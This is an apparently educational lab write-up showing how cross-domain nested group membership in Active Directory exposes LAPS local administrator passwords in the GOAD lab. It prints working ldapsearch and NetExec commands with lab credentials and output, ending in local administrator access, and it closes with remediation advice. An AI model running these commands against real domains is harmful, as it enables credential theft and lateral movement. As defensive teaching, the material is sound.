LAPS Password Retrieval via ACL Access

Local Administrator Password Solution (LAPS) solves a real problem. Before it existed, most Windows environments reused the same local administrator password across every machine in the domain. Compromise one host, and you had credentials that worked everywhere. LAPS fixes this by generating a unique, randomized password for each computer’s local administrator account and storing it in Active Directory as the ms-MCS-AdmPwd attribute on the computer object. The domain controller manages rotation automatically. It is a straightforward control and, when configured correctly, meaningfully reduces lateral movement risk.

The problem is the phrase “when configured correctly.”

LAPS delegates read access to ms-MCS-AdmPwd via ACLs on each computer object. Active Directory allows groups to be granted this right, which is convenient for helpdesk workflows. What is frequently overlooked is that domain local groups in one domain can contain members from foreign domains in the same forest. If a broad group is granted LAPS read access and that group includes a foreign domain group as a member, every member of that foreign group can read the LAPS password, regardless of which domain they are in.

In the GOAD lab, BRAAVOS (essos.local) has LAPS enabled. The authorised LAPS readers are jorah.mormont and the Spys group. The Spys group has sevenkingdoms.local\Small Council as a member. Small Council includes petyer.baelish, lord.varys, maester.pycelle, cersei.lannister, renly.baratheon, and stannis.baratheon. All sevenkingdoms.local accounts with no direct relationship to the essos.local environment.

Verifying the LAPS attribute

First, confirm the ms-MCS-AdmPwd attribute is populated on the BRAAVOS computer object. Authenticate as any essos.local domain admin and query the object directly.

ldapsearch -H ldap://meereen.essos.local \
  -x \
  -D "daenerys.targaryen@essos.local" \
  -w 'BurnThemAll!' \
  -b "DC=essos,DC=local" \
  "(sAMAccountName=BRAAVOS$)" \
  ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime
```
```
dn: CN=BRAAVOS,OU=Laps,DC=essos,DC=local
ms-Mcs-AdmPwd: P@ssword123!
ms-Mcs-AdmPwdExpirationTime: 134183742273056134

The attribute is present and the password is valid. The expiration converts to 2026-03-19, so it is current.

Reading LAPS as a direct authorised reader

jorah.mormont is explicitly listed as a LAPS reader on the BRAAVOS computer object in essos.local. With his credentials, the password is readable directly.

nxc ldap 10.3.10.12 \
  -u jorah.mormont \
  -p 'H0nnor!' \
  -d essos.local \
  --module laps
```
```
LDAP   10.3.10.12   389   MEEREEN   [+] essos.local\jorah.mormont:H0nnor!
LAPS   10.3.10.12   389   MEEREEN   [*] Getting LAPS Passwords
LAPS   10.3.10.12   389   MEEREEN   Computer:BRAAVOS$ User:   Password:P@ssword123!

That is the intended path. The interesting path is what happens via group membership.

Reading LAPS as a cross-domain attacker

Now authenticate as petyer.baelish, a sevenkingdoms.local account with no explicit permissions in essos.local, against the essos.local LDAP service. NetExec handles the cross-domain NTLM authentication transparently.

nxc ldap 10.3.10.12 \
  -u petyer.baelish \
  -p '@littlefinger@' \
  -d sevenkingdoms.local \
  --module laps
```
```
LDAP   10.3.10.12   389   MEEREEN   [+] sevenkingdoms.local\petyer.baelish:@littlefinger@
LAPS   10.3.10.12   389   MEEREEN   [*] Getting LAPS Passwords
LAPS   10.3.10.12   389   MEEREEN   Computer:BRAAVOS$ User:   Password:P@ssword123!

A sevenkingdoms.local account with no direct essos.local access read the local administrator password for a machine in essos.local. The trust relationship, combined with the cross domain group membership chain, made the ACL delegation apply forest wide.

Confirming local access

With the LAPS password recovered, authenticate to BRAAVOS as the local administrator.

nxc smb 10.3.10.23 \
  -u administrator \
  -p 'P@ssword123!' \
  --local-auth
```
```
SMB   10.3.10.23   445   BRAAVOS   [+] BRAAVOS\administrator:P@ssword123! (Pwn3d!)

From here the path forward is credential dumping, lateral movement, or using the machine context to pivot further into essos.local.

Why this matters

The LAPS ACL model only controls who can read the password, not who that group transitively includes. Granting a large group LAPS read access, especially a group with cross-domain membership, creates a blast radius that administrators rarely audit. Most LAPS deployments are configured once and not revisited. Group membership drifts over time. What starts as a tightly scoped helpdesk group can quietly accumulate foreign domain members through nested group relationships, silently expanding LAPS read access across trust boundaries.

The attack chain here is purely ACL driven. No exploitation, no coercion, no ticket manipulation. Petyer.baelish has legitimate read permission by virtue of group membership. The credential is handed over by Active Directory without any indication of abuse.

Remediation

Audit LAPS read ACLs on all computer objects, both by examining the nTSecurityDescriptor attribute and by expanding group membership recursively, including cross-domain members. Tools like BloodHound will surface these paths under the ReadLAPSPassword edge.

Restrict LAPS read access to the minimum required set of accounts. Avoid nesting domain groups from external domains in LAPS reader groups. Where helpdesk delegation is required, use tiered groups scoped to specific OUs and audit membership regularly.

Enable LAPS v2 (Windows LAPS) where possible. Windows LAPS supports encrypted storage of the password attribute and finer-grained delegation, reducing exposure compared to legacy LAPS which stores the password in plaintext in the directory.

Treat any group granted LAPS read access as a high privilege group for auditing purposes, regardless of how it appears in the conventional privilege hierarchy.